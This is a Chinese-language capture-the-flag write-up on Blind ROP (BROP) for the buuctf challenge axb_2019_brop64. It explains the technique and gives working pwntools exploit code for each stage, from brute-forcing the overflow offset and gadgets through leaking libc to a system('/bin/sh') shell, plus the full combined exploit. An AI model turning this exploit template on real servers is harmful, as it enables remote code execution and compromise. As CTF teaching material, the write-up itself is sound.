【PWN】初见BROP
前言|与BROP的相遇
第一次BROP,它让我觉得pwn,或者说网安很妙,也很折磨
在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见
可遇到它之后,这是真的折磨,一切都是未知
但是因为未知,所以产生了美感,或许是因为摸不着,所以才有一种神秘的魔力一点点吸引我学pwn
题目:buuctf-axb_2019_brop64
因为为了更好的分享体验(防止翻车)
我已经将题目部署在了本题,并且自己修改了一下flag的趣味性
后面我会在本地进行盲打分享
大家可以去buuctf找到这道题目(注意环境libc以及栈对齐一些问题)
BROP的发现与利用思想简介
关于一篇论文
bittau-brop.pdf
BROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。
利用思想
从调用机制上去理解
或许我们不知道main函数中调用了什么,但在main之前的一切,我们是知道的,也就是我们可以利用main函数,内核层在调用main时,所残留的gadget
- 我们的目标
- 能让这个程序挂住,能让这个程序泄露,能让这个程序实现人为函数调用,最终我们要控制
条件依赖
- 程序存在栈溢出漏洞
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
- nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
- 这意味着: 栈中的canary是固定的,不会重置
利用思路
BROP的攻击思路一般有以下几个步骤:(挺模板的)
1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
5.寻找相应的PLT地址
6.dump远程内存空间
7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell
1.确定栈溢出的长度|偏移量
在这之前,我们可以尝试%p%x%s,以来确定程序是否有格式化字符串漏洞
通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.
+---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
input-->+---------------------------+
def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1
第一步完成:偏移量为216
2.寻找stop gadgets:
stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。
如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。
对于这道题而言,我们的目标是寻找main,这样就能无限返回main函数,无限进攻尝试!
+---------------------------+
| 0x400000+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符覆盖ebp位置
ebp--->+---------------------------+
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
input-->+---------------------------+
ps:在这之前,我们可以找出原本ret函数的返回地址,从而推出main函数的大概位置,从而缩小范围
def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr
def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close()
第二步完成:我们得到的stop_addr = 0x4007d6
3.寻找brop-gadget
- 寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.
- 大家如果接触过retcsu,应该知道有一个这样很特殊的gadget
+---------------------------+
| pop rbx | 0x00
+---------------------------+
| pop rbp | 0x01
+---------------------------+
| pop r12 | 0x02
+---------------------------+
| pop r13 | 0x04
+---------------------------+
| pop r14 | 0x06
+---------------------------+------------------->pop rsi;ret 0x07
| pop r15 | 0x08
+---------------------------+------------------->pop rdi;ret 0x09
| ret | 0x10
-----------------------------
//利用了gadget的结构,来确实是否为我们的要的那个gadget
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| probe | <----- 探针
-----------------------------
如果我们找到这个gadget的收地址,那么,我们就能拥有几个特别好用的gadget,是啥?
如果加上0x9,是pop_rdi_ret
如果再加上0x5,是ret
对于这道题,我们的目标是pop_rdi_ret
+---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close()
第三步完成:我们得到的pop_rdi_ret 为 0x40095a + 0x9
4.寻找puts-plt
为了让程序有健壮性,在软件构建的时候,采用了动态链接
也就是,需要才去找他这个函数存在于哪里,利用plt和got表配合使用,从而实现这个功能
puts-plt有跳转执行函数的功能,找到puts-plt就能执行puts函数
在找的时候,必须有一个回显内容来进行特征标注,告诉我们找到了
在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’
所以我们就利用这个
对于寻找的思路,我们依旧是暴力枚举,(爆破范围是0x0000~0xFFFF),基址为0x400000
+---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'\x7fELF'
+---------------------------+
| 0x40095a + 0x9 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close()
第四步完成:我们找到的plt的地址为puts_plt = 0x400635
5.dump出got地址
在上面的第四步,我们知道,plt表里,存着got地址,如果我们把plt表dump出来,那么我们就知道got的地址,知道got的地址,我们就能泄露真实的函数地址
def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None
def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
生成的文件到本地,拖进去IDA分析
此处省略,太久了
第五步完成:got的地址为0x601018
6.常规的retlibc解决即可
如上我们泄露了got的地址,那么就能通过puts获得真实的函数地址
利用真实函数地址,泄露libc版本
找出shell条件,最后常规的栈溢出ROP即可解决
def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive()
小彩蛋:
home目录下的flag文件存的都是啥啊!!!
再ls一下,发现有一个ikun的目录,原来flag在这里
最后的EXP
最好的exp,一共大概150行
虽然多,但是很套路
from pwn import *
from LibcSearcher import *
def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1
def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr
def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close()
def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close()
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close()
def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None
def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive()
offset = 216 #offset_find()
old_return_addr = 0x400000 #min_find(offset) #0x400834
stop_addr = 0x4007d6 #stop_find(old_return_addr,offset) #0x4007d6
brop_gadget = 0x40095a #brop_find(stop_addr,offset) #0x40095a
pop_rdi_ret =brop_gadget + 0x9
plt_base = 0x400000
puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
#offset_find()
#min_find(offset)
#stop_find(old_return_addr,offset)
#brop_find(stop_addr,offset)
#func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
#dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr)
#谢谢你的观看!
^ _ ^
【PWN】初见BROP的更多相关文章
- SharkCTF2021 pwn“初见”1
(无内鬼 今日不想学了 水一篇) nc nc nc easyoverflow Intoverflow
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- MongoDB 初见指南
技术若只如初见,那么还会踩坑么? 在系统引入 MongoDB 也有几年了,一开始是因为 MySQL 中有单表记录增长太快(每天几千万条吧)容易拖慢 MySQL 的主从复制.而这类数据增长迅速的流水表, ...
- 《微信小程序七日谈》- 第一天:人生若只如初见
<微信小程序七日谈>系列文章: 第一天:人生若只如初见: 第二天:你可能要抛弃原来的响应式开发思维: 第三天:玩转Page组件的生命周期: 第四天:页面路径最多五层?导航可以这么玩 微信小 ...
- (翻译)异步编程之Promise(1):初见魅力
原文:https://www.promisejs.org/ by Forbes Lindesay 异步编程系列教程: (翻译)异步编程之Promise(1)--初见魅力 异步编程之Promise(2) ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- 【Linux探索之旅】第一部分第五课:Unity桌面,人生若只如初见
内容简介 1.第一部分第五课:Unity桌面,人生若只如初见 2.第一部分第六课预告:Linux如何安装在虚拟机中 Unity桌面,人生若只如初见 不容易啊,经过了前几课的学习,我们认识了Linux是 ...
- Swift语法初见
Swift语法初见 http://c.biancheng.net/cpp/html/2424.html 类型的声明: let implicitInteger = 70 let implicitDoub ...
随机推荐
- 【逆向】x64dbg设置条件断点 比较内存字符串是否相等
前言 在OD中可以设置条件断点,通过表达式对字符串数据进行比较,比如在CreateFile打开某个特定文件的时候让调试器中断.但是在x32dbg.x64dbg中因为表达式只支持整数,不支持字符串和其它 ...
- C#——》发布ASP.NET Core项目到Windows IIS服务器中环境部署
服务器:Windows Server2012 R2 IIS:8 .net Core版本:1.1.2 一,在VS中点击项目-->依赖项-->SDK下可以查看当前项目.Net core是哪个版 ...
- SQL之查询
1. SQL之模糊查询 例如查询姓名时,不用输入全名,仅仅输入其中的一部分 语法: select 列名 from 表名 where 列名 like 匹配串 其中 匹配串用英文的单引号括起来 四种匹配模 ...
- MLP-Mixer: An all-MLP Architecture for Vision 纯MLP架构
典型的MLP结构包括三层:input.hidden.output.不同层之间都是全联接的. MLP-Mixer完全利用基础的矩阵乘法运算和数据变换以及非线性层来完成复杂数据集的分类任务. Step 1 ...
- 2019 CSP J/S第2轮 视频与题解
CSP入门组和提高组第二轮题解 转自网络
- yugong诠释
整个迁移方案,分为两部分: 全量迁移 增量迁移 过程描述: 增量数据收集 (创建oracle表的增量物化视图) 进行全量复制 进行增量复制 (并行进行数据校验) 原库停写,切到新库 回滚方案: 开启新 ...
- STL练习-排列2
Ray又对数字的列产生了兴趣: 现有四张卡片,用这四张卡片能排列出很多不同的4位数,要求按从小到大的顺序输出这些4位数. Input 每组数据占一行,代表四张卡片上的数字(0<=数字<=9 ...
- jquery的ajax方法获取不到return返回值
/** 2 * 方式:(1)同步调用 (2)在ajax函数中return值 3 * 结果:返回 1.未成功获取返回值 4 * 失败原因:ajax内部是一个或多个定义的函数,ajax中return返回值 ...
- 解决git仓库项目 添加到github非空仓库冲突问题 error: failed to push some refs to 'https://github.com/Qtoken/......'
error: failed to push some refs to 'https://github.com/Qtoken/......' 1. 问题描述:执行命令:git push origin m ...
- 微信支付服务商api对接
引入官方sdk <!--微信v3支付sdk {https://github.com/wechatpay-apiv3/wechatpay-apache-httpclient}--> < ...